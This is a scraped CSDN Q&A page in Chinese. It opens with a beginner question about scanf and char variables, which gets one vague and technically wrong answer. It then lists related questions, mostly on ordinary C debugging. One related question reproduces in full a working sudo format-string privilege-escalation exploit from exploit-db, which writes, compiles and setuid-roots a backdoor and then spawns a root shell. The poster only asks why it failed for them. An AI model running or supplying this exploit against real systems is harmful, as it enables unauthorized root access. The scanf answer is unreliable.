有没有c语言大佬帮我解释一下scanf函数输入字符时内存方面怎么变化的?

#include
int main()
{
char c,d;
scanf("%c",&c);
printf("c=%d\n",c);
getchar();
scanf("%d",&d); //奇怪,c的值经过这次对d输入之后改变了
printf("c=%d\n",c); //c变成了NUL 空? 为什么呢?
printf("d=%c\n",d);
printf("%d\n",getchar()); //输出确认d的时候按的回车
printf("d=%c\n",d); //d不变
return 0;
}
图片说明
补充:我换了个编译器 之前用的Dev 然后又用了vs2010 结果不一样 哇 这个东西
大家看一下吧图片说明

1个回答

每输入一个字符就会给它分配一个动态地址,之后自动释放

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
C语言新手,想请教大佬们一个关于在函数内(不是主函数)分配内存的问题
程序的enter函数是将一个字符串数组名 和一个字符串名,还有字符串数组的数目传到函数里,字符串数组里的每个字符串都动态申请内存。先输入字符串 ,然后将字符串复制给字符串数组里各个元素。 程序没有报错和警告,也没有输出但是没法正常运行。 而且我好像是第二次遇到这种在自定义函数内申请内存,然后没法正常运行的情况了,百度上说指针越界的问题,看不大懂,请大佬们解惑,谢谢。 #include<stdio.h> #include<stdlib.h> #include<string.h> void enter(char *p[] , char *p1 , int n){ for(int i = 0;i < n;i++){ printf("Enter num%d string: ", i + 1); scanf("%s" , p[i]); if((p[i] = (char*)malloc(strlen(p1) + 1)) == NULL){ printf("defalut"); exit(1); } strcpy(p[i] , p1); } } int main(){ int n; printf("Enter the number of strings: "); scanf("%d" , &n); char *strings[n] , s[20]; enter(strings , s , n); for(int i = 0;i < n;i++){ printf("%s" , strings[i]); free(strings); } }
C语言实现字符串密码对比问题,恳请大佬帮忙
想实现一个函数如对比输入密码,输入正确提示, 错误则从新输入. 代码如下 ``` #include <stdio.h> #include <string.h> char * password(); char * password() { char pw[10]; //char right_pw[10] = {"wojiao"}; while(0) { printf("输入密码:"); scanf("%s", pw); if(strcmp(pw, "wojiao") == 0) { printf("正确\n"); } else { printf("重新输入"); } } return 0; } ``` 报错是这样的: ![图片说明](https://img-ask.csdn.net/upload/201905/07/1557198747_446321.png) 另外还想问下 为什么声明函数的时候 函数名前面要加个 *? 希望大佬不吝赐教,先行谢过了!
请大佬指点下:c语言长整数转化成16进制字符串,可字符串不显示?
本题要求实现一个将长整数转化成16进制字符串的简单函数 其中x是待转化的十进制长整数,p指向某个字符数组的首元素。函数f的功能是把转换所得的16进制字符串写入p所指向的数组。16进制的A~F为大写字母。 输入样例 123456789 输出样例 75BCD15 代码如下 #include <stdio.h> #define MAXN 10 void f( long int x, char *p ); int main() { long int x; char s[MAXN] = ""; scanf("%ld", &x); f(x, s); printf("%s\n", s); return 0; } void f( long int x, char *p ){ int beichu=x,yu,i,j,t=0;char *k=p; if(x>0){ while(yu==beichu) {yu=beichu%16; if(yu<10) *(p+9)=yu; else *(p+9)=yu+'A'-10; p-=1; beichu=beichu/16; t+=1;} for(p=k,j=10-t;j<=9;j++) for(p=k,i=10-t;i>=0;i--) {*(p+j-1)=*(p+j); *(p+j)='\0';}} else{ *p='-'; while(yu==beichu) {yu=beichu%16; if(yu<10) *(p+9)=yu; else *(p+9)=yu+'A'-10; p-=1; beichu=beichu/16;} for(p=k,j=10-t;j<=9;j++) for(p=k,i=10-t;i>=1;i--) {*(p+j-1)=*(p+j); *(p+j)='\0';} }} 例如输入“-125”只显示“- ” 输入12345679显示“ ” 请问究竟哪里错了呢? ``` ```
请教一个在Linux Ubuntu12.04下通过sudo_debug函数的格式化字符串漏洞来获取root权限的问题
我于网上抄了一个大佬的代码,[源码地址](https://www.exploit-db.com/exploits/25134 "") 代码如下: ``` #include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h> #define OFFSET 65000 #define NUM_THREADS 0 /* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh" extern char **environ; struct utsname ver; void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor(); /* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20]; /* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} }; /* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, }; int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); } // ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara); pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } } int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; }; int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r"); if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; }; int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n"; FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); } fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r"); if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; } fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); } fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; }; void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); } memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS); // set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); }; void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL}; // trigger the vuln execve(sudo, args, environ); }; void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); }; ``` 这是别人运行后的截图 ![图片说明](https://img-ask.csdn.net/upload/201912/25/1577248386_581331.png) 这是我运行的截图 ![这是我运行的截图](https://img-ask.csdn.net/upload/201912/25/1577209594_514497.png) 可以看出来我的没有运行成功,我是自己复制下来的,完全没有改动,sudo版本也是相同的,我实在是不知道原因何在,只能来求助各位大佬了
求教大佬们,这个“读取位置 0xCCCCCCCC 时发生访问冲突。”的异常该如何解决?
程序是数据结构的图的存储和遍历实验,功能是输入一个无向图并将其转换成邻接矩阵,然后把邻接矩阵变成邻接表,最后深度优先遍历该邻接表生成树(VS2017): ``` #include <stdio.h> #include <malloc.h> #include <stdlib.h> #include <string.h> #include<iostream> using namespace std; typedef int InfoType; #define MAXV 100 //最大顶点个数 #define INF 32767 //INF表示∞ #define isLetter(a) ((((a)>='a')&&((a)<='z')) || (((a)>='A')&&((a)<='Z'))) #define LENGTH(a) (sizeof(a)/sizeof(a[0])) //以下定义邻接矩阵类型 typedef struct { int no; //顶点编号 InfoType info; //顶点其他信息 } VertexType; //顶点类型 typedef struct //图的定义 { char vexnum[MAXV]; int edges[MAXV][MAXV]; //邻接矩阵 int n, e; //顶点数,边数 VertexType vexs[MAXV]; //存放顶点信息 } MGraph, *PGragh; //图的邻接矩阵类型 //以下定义邻接表类型 typedef struct ANode //边的节点结构类型 { int adjvex; //该边的终点位置 struct ANode *nextarc = NULL; //指向下一条边的指针 InfoType *info; //该边的相关信息,这里用于存放权值 } ArcNode; typedef int Vertex; typedef struct Vnode //邻接表头节点的类型 { Vertex data; //顶点信息 ArcNode *firstarc; //指向第一条边 } VNode; typedef VNode AdjList[MAXV]; //AdjList是邻接表类型 typedef struct { AdjList adjlist; //邻接表 int n, e; //图中顶点数n和边数e } ALGraph; //图的邻接表类型 void MatToList(MGraph *g, ALGraph *G) //将邻接矩阵g转换成邻接表G { int i, j; ArcNode *p; //G = (ALGraph *)malloc(sizeof(ALGraph)); for (i = 0; i<g->n; i++) //给邻接表中所有头节点的指针域置初值 G->adjlist[i].firstarc = NULL; for (i = 0; i<g->n; i++) //检查邻接矩阵中每个元素 for (j = g->n - 1; j >= 0; j--) if (g->edges[i][j] != 0) //存在一条边 { p = (ArcNode *)malloc(sizeof(ArcNode)); //创建一个节点*p p->adjvex = j; p->nextarc = G->adjlist[i].firstarc; //采用头插法插入*p G->adjlist[i].firstarc = p; } G->n = g->n; G->e = g->e; //return G; } void DispMat(MGraph *g) //输出邻接矩阵g { int i, j; for (i = 0; i<g->n; i++) { for (j = 0; j<g->n; j++) printf("%3d", g->edges[i][j]); printf("\n"); } } void DispAdj(ALGraph G) //输出邻接表G { int i; ArcNode *p; for (i = 0; i<G.n; i++) { p = G.adjlist[i].firstarc; printf("%3d: ",i); //cout << i << ":"; while (p != NULL) { //printf("%3d",p->adjvex); cout << p->adjvex << " "; p = p->nextarc; } printf("\n"); } } static int get_position(MGraph g, char ch) { int i; for (i = 0; i<g.n; i++) if (g.vexnum[i] == ch) return i; return -1; } //读取一个输入字符 static char read_char() { char ch; do { ch = getchar(); } while (!isLetter(ch)); return ch; } // 创建无向图 MGraph* create_graph() { char c1, c2; int vex, edge; int i, p1, p2; MGraph* pG; // 输入顶点数和边数 printf("输入顶点数和边数:"); scanf_s("%d%d", &vex, &edge); if (vex < 1 || edge < 1 || (edge >(vex * (vex - 1)))) { printf("input error: invalid parameters!\n"); return NULL; } if ((pG = (MGraph*)malloc(sizeof(MGraph))) == NULL) return NULL; memset(pG, 0, sizeof(MGraph)); // 初始化顶点数和边数 pG->n = vex; pG->e = edge; // 初始化"顶点" printf("输入各顶点名称:\n"); for (i = 0; i < pG->n; i++) { printf("vertex(%d): ", i); pG->vexnum[i] = read_char(); } // 初始化"边" for (i = 0; i < pG->e; i++) { // 读取边的起始顶点和结束顶点 printf("edge(%d):", i); c1 = read_char(); c2 = read_char(); p1 = get_position(*pG, c1); p2 = get_position(*pG, c2); if (p1 == -1 || p2 == -1) { printf("input error: invalid edge!\n"); free(pG); return NULL; } pG->edges[p1][p2] = 1; pG->edges[p2][p1] = 1; } return pG; } // 打印矩阵队列图 void print_graph(MGraph G) { int i, j; printf("Martix Graph:\n"); for (i = 0; i < G.n; i++) { for (j = 0; j < G.n; j++) printf("%d ", G.edges[i][j]); printf("\n"); } } //创建一个树的左子女,右兄弟结构 typedef struct node { int data; node *firstChild = NULL; node *nextSibling = NULL; }TreeNode, *BinTree; int visited[MAXV]; void Dfs(ALGraph G, int i, BinTree &T) { visited[i] = 1; bool first = true;//表示是否为当前节点第一个孩子 TreeNode *locat = new TreeNode;//同样是定位作用 while (G.adjlist[i].firstarc != NULL)//从此节点出发,访问邻接节点。 { if (visited[G.adjlist[i].firstarc->adjvex] == 0) { visited[G.adjlist[i].firstarc->adjvex] = 1; TreeNode *t = new TreeNode;//建立一颗小树 t->data = G.adjlist[i].firstarc->adjvex; if (first)//是当前节点第一个孩子 { T->nextSibling = t;//建立右孩子 first = false;//表示不是传进来的第一个孩子,则是孩子们的兄弟 } else { locat->nextSibling = t; } locat = t; Dfs(G, G.adjlist[i].firstarc->adjvex, t);//继续对小树找兄弟 } G.adjlist[i].firstarc = G.adjlist[i].firstarc->nextarc; } } void DFS_Traverse(ALGraph G, BinTree &T) { TreeNode *locat = new TreeNode;//此处定义一个定位指针,用来定位当前树的位置 for (int i = 1; i <= G.n; i++) { visited[i] = 0; } for (int i = 1; i <= G.n; i++) { if (visited[i] == 0) { TreeNode *t = new TreeNode;//这代表一个小树 t->data = G.adjlist[i].data; if (T == NULL) { T = t;//若树为空,建立头节点 } else { locat->nextSibling = t;//若树不空,则是森林,插入右兄弟 } locat = t;//定位至小树 Dfs(G, i, locat);//建立小树 } } } //建立图深度优先搜索森林 void DFSForest(ALGraph G, BinTree &T) { DFS_Traverse(G, T); } void Display(BinTree T) { if (T) { cout << T->data << ' '; Display(T->firstChild); Display(T->nextSibling); } } //以下主函数用作调试 int main() { //int i, j; MGraph* g, g1; ALGraph G; BinTree T; g = create_graph(); printf("\n"); printf(" 无向图G的邻接矩阵:\n"); DispMat(g); //G = (ALGraph *)malloc(sizeof(ALGraph)); //M = (ALGraph *)malloc(sizeof(ALGraph)); printf(" 图G的邻接矩阵转换成邻接表,顶点名称用编号表示:\n"); MatToList(g, &G); DispAdj(G); DFSForest(G, T); Display(T); system("pause"); } ``` 运行程序,输入顶点和边的信息,能够输出邻接矩阵和邻接表,但到了生成森林那一步就报异常: ![图片说明](https://img-ask.csdn.net/upload/201912/02/1575292200_474721.png)![图片说明](https://img-ask.csdn.net/upload/201912/02/1575292211_609361.png) 和同学研究了一下发现问题可能是出在执行到函数 ``` void DFS_Traverse(ALGraph G, BinTree &T) { TreeNode *locat = new TreeNode;//此处定义一个定位指针,用来定位当前树的位置 for (int i = 1; i <= G.n; i++) { visited[i] = 0; } for (int i = 1; i <= G.n; i++) { if (visited[i] == 0) { TreeNode *t = new TreeNode;//这代表一个小树 t->data = G.adjlist[i].data; if (T == NULL) { T = t;//若树为空,建立头节点 } else { locat->nextSibling = t;//若树不空,则是森林,插入右兄弟 } locat = t;//定位至小树 Dfs(G, i, locat);//建立小树 } } } ``` 的最后一个for中的Dfs(G,i,locat);这一句时出了问题,若在该处设置断点再重新运行程序并输入测试数据:![图片说明](https://img-ask.csdn.net/upload/201912/02/1575292585_791337.png) 然后按F11逐行运行,就跳到了函数Dfs()那里: ![图片说明](https://img-ask.csdn.net/upload/201912/02/1575292683_31577.png) ![图片说明](https://img-ask.csdn.net/upload/201912/02/1575292709_126937.png) ![图片说明](https://img-ask.csdn.net/upload/201912/02/1575292848_579112.png) 这时候按“继续”继续运行,到第二次循环时异常就出现了,请教大佬我应该如何修改这个程序,谢谢
使用stm32f1通过串口接收上位机信息产生中断来控制电机,但是中断打不开,想请大佬看看是为什么?
主要思路是在串口通信助手中发送“1”,然后串口接收中断打开,在串口通信助手中打印“中断开始”的信息。但是这句“中断开始”信息没有显示,想请大佬看看shi'wei'shen'm usart.c ``` #include "stm32f10x.h" #include "usart.h" //已检查 无误 static void NVIC_Config(void) { NVIC_InitTypeDef NVIC_InitStructure; NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2); NVIC_InitStructure.NVIC_IRQChannel = USART1_IRQn ; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1; NVIC_Init(&NVIC_InitStructure); } //串口初始化函数已检查 无误 void USART1_Init(void) { USART_InitTypeDef USART_InitStructure; GPIO_InitTypeDef GPIO_InitStructure; //看io口和usart的时钟 //RCC_APB2PeriphResetCmd(RCC_APB2Periph_GPIOA,ENABLE); 函数用错了 //RCC_APB2PeriphResetCmd(RCC_APB2Periph_USART1, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1,ENABLE); //初始化串口USART1输入输出的io口 //输出 推挽复用输出 PA9 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_9; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; //初始化PA9 GPIO_Init( GPIOA , &GPIO_InitStructure ); //输出 浮空输入 PA10 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; //初始化PA10 GPIO_Init( GPIOA , &GPIO_InitStructure ); //初始化串口 USART_InitStructure.USART_BaudRate = 115200; USART_InitStructure.USART_Mode = USART_Mode_Rx|USART_Mode_Tx; USART_InitStructure.USART_StopBits = USART_StopBits_1; USART_InitStructure.USART_WordLength = USART_WordLength_8b; USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None; USART_InitStructure.USART_Parity = USART_Parity_No; USART_Init(USART1,&USART_InitStructure); //串口中断优先级配置 NVIC_Config(); //串口接收中断 因为是接受上位机消息后驱动电机转动,所以使用接受中断 USART_ITConfig(USART1, USART_IT_RXNE, ENABLE); //串口使能 USART_Cmd( USART1,ENABLE); } /* 使用串口发送一个字节 */ void USART_SendByte(USART_TypeDef* pUSARTx,uint16_t Data) { USART_SendData( pUSARTx, Data); while( USART_GetFlagStatus( pUSARTx,USART_FLAG_TXE) == RESET); } /* 发送字符串(来自野火教程) */ void USART_SendStr( USART_TypeDef* pUSARTx , uint8_t *str) { uint8_t i=0; do { USART_SendByte( pUSARTx, *(str+i)); i++; }while( *(str+i) != '\0' ); while( USART_GetFlagStatus( pUSARTx,USART_FLAG_TC) == RESET); } ///重定向c库函数printf到串口,重定向后可使用printf函数 int fputc(int ch, FILE *f) { /* 发送一个字节数据到串口 */ USART_SendData(USART1, (uint8_t) ch); /* 等待发送完毕 */ while (USART_GetFlagStatus(USART1, USART_FLAG_TXE) == RESET); return (ch); } ///重定向c库函数scanf到串口,重写向后可使用scanf、getchar等函数 int fgetc(FILE *f) { /* 等待串口输入数据 */ while (USART_GetFlagStatus(USART1, USART_FLAG_RXNE) == RESET); return (int)USART_ReceiveData(USART1); } ``` usart.h ``` #ifndef __USART_H #define __USART_H #include "stm32f10x.h" #include <stdio.h> void USART1_Init(void); void Usart_SendByte(USART_TypeDef* pUSARTx, uint8_t data); void Usart_SendStr(USART_TypeDef* pUSARTx, uint8_t *str); #endif /* __USART_H */ ``` main.c ``` #include "stm32f10x.h" #include "moto.h" #include "usart.h" int main(void) { USART1_Init(); USART_SendStr( USART1 , "000\n"); //USART1_Init(); while(1){} } ``` 中断服务函数 ``` #include "stm32f10x_it.h" #include "usart.h" u8 Start_Flag=1; //电机启动/锁定标志 u16 Pluse_High=10; //脉冲高电平中断次数 1->10us u16 Pluse_Period=200;//脉冲周期中断次数 (转速) //脉冲中断服务函数------------------------------------------------------------ u32 TimeCount=0;//进中断计数 u16 a=0; void SysTick_Handler(void) { } void USART_IT_Handler(void) { //USART_SendStr( USART1 , "test\n"); if(USART_GetITStatus( USART1 ,USART_IT_RXNE)!=RESET) { printf("中断开始\n");//这句信息在串口通信助手中不显示 while(1) { if( USART_ReceiveData(USART1) == 1 ); break; } GPIO_SetBits(GPIOE,GPIO_Pin_5); while(a>1000)//让方向信号的输出略大于脉冲信号 {a++;} DJ_Init(); while(1){TIM4_Int_Init(10-1,84-1);} } } ```
利用栈实现表达式求值,编译通过但是没有结果。
不知道哪里出了问题,希望大佬能帮忙看看,谢谢! > ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX 100 //定义一个结点结构体 typedef struct node { char data; struct node *next; }Snode; void InitStack(Snode *top); void push(Snode *top,char x); char pop(Snode *top); char gettop(Snode *top); int In(char x); char Precede(char a,char b); char Operate(char a,char b,char z); char EvaluaExpression(char a[]); int main() { char a[MAX],result; scanf("%s",a); result = EvaluaExpression(a); printf("%d\n",result-'0'); return 0; } //初始化空栈 void InitStack(Snode *top) { top = (Snode*)malloc(sizeof(Snode)); top->next = NULL; } //压栈函数 void push(Snode *top,char x) { Snode *p; p = (Snode*)malloc(sizeof(Snode)); p->data = x; p->next = NULL; top->next = p; } //出栈函数 char pop(Snode *top) { Snode *p; if(top != NULL) { p = top->next; top->next = p->next; return p->data; } } //取栈顶元素 char gettop(Snode *top) { Snode *p; if(top != NULL) { p = top->next; return p->data; } } //判断字符是否为运算符 int In(char x) { int i; switch(x) { case '+': case '-': case '*': case '/': case '%': case '(': case ')': case '^': case '#': i = 1; break; default: i = 0; break; } return i; } //判定运算符栈的栈顶元素与读入的运算符之间的优先级关系 char Precede(char a,char b) { int i,j; int s[9][9] = { {1,1,-1,-1,-1,1,-1,-1,1}, {1,1,-1,-1,-1,1,-1,-1,1}, {1,1,1,1,-1,1,1,-1,1}, {1,1,1,1,-1,1,1,-1,1}, {-1,-1,-1,-1,-1,0,-1,-1,0}, {1,1,1,1,0,1,1,1,1}, {1,1,1,1,-1,1,1,-1,1}, {1,1,1,1,-1,1,1,-1,1}, {-1,-1,-1,-1,-1,0,-1,-1,0} }; switch(a) { case '+': i = 0; break; case '-': i = 1; break; case '*': i = 2; break; case '/': i = 3; break; case '(': i = 4; break; case ')': i = 5; break; case '%': i = 6; break; case '^': i = 7; break; case '#': i = 8; break; } switch(b) { case '+': j = 0; break; case '-': j = 1; break; case '*': j = 2; break; case '/': j = 3; break; case '(': j = 4; break; case ')': j = 5; break; case '%': j = 6; break; case '^': j = 7; break; case '#': j = 8; break; } if(s[i][j] == 1) return '>'; //当s[i][j]为1时,a的优先级高于b的优先级 else if(s[i][j] == -1) return '<'; //当s[i][j]为-1时,b的优先级高于a的优先级 else return '='; //当s[i][j]为其他值时,a的优先级与b的优先级相等 } //进行二元运算 char Operate(char a,char b,char z) { int x = a-'0',y = b-'0',i; switch(z) { case '+': return x+y; case '-': return x-y; case '*': return x*y; case '/': return x/y; case '%': return x%y; case '^': for(i = 1; i<y; i++) x*=x; return x+'0'; } } char EvaluaExpression(char a[]) { Snode* OPTR,*OPND; InitStack(OPTR); InitStack(OPND); int i = 0; char ch,m,n,theta; push(OPTR,a[i]); //先将输入的第一个#入栈 ch = a[++i]; while(ch != '#' || gettop(OPTR) != '#') { if(!In(ch)) //判断ch是否为运算符字符 { push(OPND,ch); ch = a[++i]; } else switch(Precede(gettop(OPTR),ch)) //比较运算符栈栈顶元素和ch的优先级 { case '<': push(OPTR,ch); ch = a[++i]; break; case '>': theta = pop(OPTR); n = pop(OPND); m = pop(OPND); push(OPND,Operate(m,theta,n)); break; case '=': pop(OPTR); ch = a[++i]; break; } } return gettop(OPND); } ```
大一c语言企业员工管理系统(救救孩子吧)
1.网上嫖了一个,但是看不懂(上课摸鱼的那种),想加一个排序,但是加不进去 2.就是吧录入进去的按年龄排序就行了 就差个排序了55 ![图片说明](https://img-ask.csdn.net/upload/201906/12/1560316452_319005.png) ![图片说明](https://img-ask.csdn.net/upload/201906/12/1560316492_838955.png) 3.先谢谢大佬们55 如下 #include <stdio.h> #include <iostream> #include "windows.h" using namespace std; #include <stdlib.h> #include <string.h> #define N 100 typedef struct phone { char num[30]; char name[50]; char sex[10]; char year[50]; char school[50]; char zhiwei[50]; char money[10]; char address[30]; char tel[30]; struct phone *next; }phone,p[100]; phone *head; void Initiate(); void Menu(); phone *Create();//创建 void Find(); void Alter(); void Delete(); void List(); phone *write_in(); phone *write_out(); void count(); void tongji(); void paixu(); phone *write_in(phone *head) { FILE *fp; phone *p; if((fp=fopen("D:职工信息.txt","w"))==NULL) { printf("无法打开文件!!!\n"); exit(0); } p=head->next; if(head!=NULL) while(p!=NULL) { fprintf(fp,"%s %s %s %s %s %s %s %s %s",p->num,p->name,p->sex,p->year,p->school,p->zhiwei,p->money,p->address,p->tel); fprintf(fp,"\r\n"); p=p->next; } fclose(fp); return head; } phone *write_out() { FILE *fp; phone *p,*pre,*tail; head=(phone *)malloc(sizeof(phone)); strcpy(head->num,"\0"); strcpy(head->name,"\0"); strcpy(head->sex,"\0"); strcpy(head->year,"\0"); strcpy(head->school,"\0"); strcpy(head->zhiwei,"\0"); strcpy(head->money,"\0"); strcpy(head->address,"\0"); strcpy(head->tel,"\0"); tail = pre=head; fp=fopen("D:职工信息.txt","r"); if(fp==NULL) { printf("文件打开失败!!!"); exit(0); } p=(phone *)malloc(sizeof(phone)); p->next=NULL; head->next=NULL; while(fscanf(fp,"%s %s %s %s %s %s %s %s %s",p->num,p->name,p->sex,p->year,p->school,p->zhiwei,p->money,p->address,p->tel)!=EOF) { pre = tail; tail->next=p; tail=p; p=(phone *)malloc(sizeof(phone)); p->next=NULL; } fclose(fp); return head; } //初始化 void Initiate() { if((head=(phone *)malloc(sizeof(phone)))==NULL) exit(1); head->next=NULL; } //主体菜单 void Menu() { printf("*********************************************欢迎使用企业职工信息管理系统***********************************************"); printf("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@1.录入员工信息.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); printf("\n"); printf("?????????????????????????2.查询员工信息.???????????????????????????"); printf("\n"); printf("++++++++++++++++++++++++++++++++++++++++++++++++++3.修改员工信息.++++++++++++++++++++++++++++++++++++++++++++++++++++++"); printf("\n"); printf("—————————————————————————4.删除员工信息!—————————————————————————— "); printf("\n"); printf(" ★ 5.显示所有员工信息. "); printf(" ★ 6.统计员工信息. "); printf(" 7.排序员工信息."); printf(" 0.退出系统."); printf(" 制作人 "); system("pause"); } //录入 phone *Create() { phone *p1,*p2; int m,i; printf("请输入创建个数:"); scanf("%d",&m); for(i=1;i<=m;i++) { p1=(phone *)malloc(sizeof(phone)); printf("请输入第%d条信息!\n",i); printf("请输入职工号:\n"); scanf("%s",p1->num); printf("姓名:\n"); scanf("%s",p1->name); printf("性别:\n"); scanf("%s",p1->sex); printf("出生年月:\n"); scanf("%s",p1->year); printf("学历:\n"); scanf("%s",p1->school); printf("职务:\n"); scanf("%s",p1->zhiwei); printf("工资:\n"); scanf("%s",p1->money); printf("地址:\n"); scanf("%s",p1->address); printf("电话:\n"); scanf("%s",p1->tel); p1->next=NULL; if(head->next==NULL) head->next = p1; else { for(p2=head;p2->next!=NULL;p2=p2->next); //找到结点尾 p2->next = p1; } } printf("信息已添加!\n"); head=write_in(head); return head; //保存到链表 } //查找员工信息 void Find() { phone *p; char name[50]; if(head->next==NULL) { printf("此系统为空!\n"); return; } printf("请输入要查找的姓名:\n"); scanf("%s",&name); for(p=head->next;p!=NULL;p=p->next) { if(strcmp(p->name,name)==0) { printf("职工号\t姓名\t性别\t出生年月\t学历\t职务\t工资\t地址\t电话\n"); printf("%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",p->num,p->name,p->sex,p->year,p->school,p->zhiwei,p->money,p->address,p->tel); } else if(p->next==NULL) printf("无此信息!\n"); } head=write_in(head); } //修改员工信息 void Alter() { head=write_out(); char name[50]; //先查找 后删除 phone *p=head->next; if (p == NULL) { printf("此系统为空!\n"); return; } printf("请输入要修改的姓名:\n"); scanf("%s",name); while(p!=NULL) { if(strcmp(p->name,name)==0) { printf("请输入需要插入的信息"); printf("姓名:\n"); scanf("%s",p->name); printf("性别:\n"); scanf("%s",p->sex); printf("出生年月:\n"); scanf("%s",p->year); printf("学历:\n"); scanf("%s",p->school); printf("职务:\n"); scanf("%s",p->zhiwei); printf("工资:\n"); scanf("%s",p->money); printf("地址:\n"); scanf("%s",p->address); printf("电话:\n"); scanf("%s",p->tel); break; } } printf("修改成功"); head=write_in(head); } //删除员工信息 void Delete() { head=write_out(); char name[50]; //先查找 后删除 phone *p = head->next, *p1 =head->next,*p2; if (head->next == NULL) { printf("此通讯录为空!\n"); return; } printf("请输入要删除的姓名:\n"); scanf(" %s",name); while ((strcmp(p->name,name)!=0 )&& p->next != NULL) { p1=p; p =p->next; } if (strcmp(name, p->name)==0) //输出删除信息 { if (p == 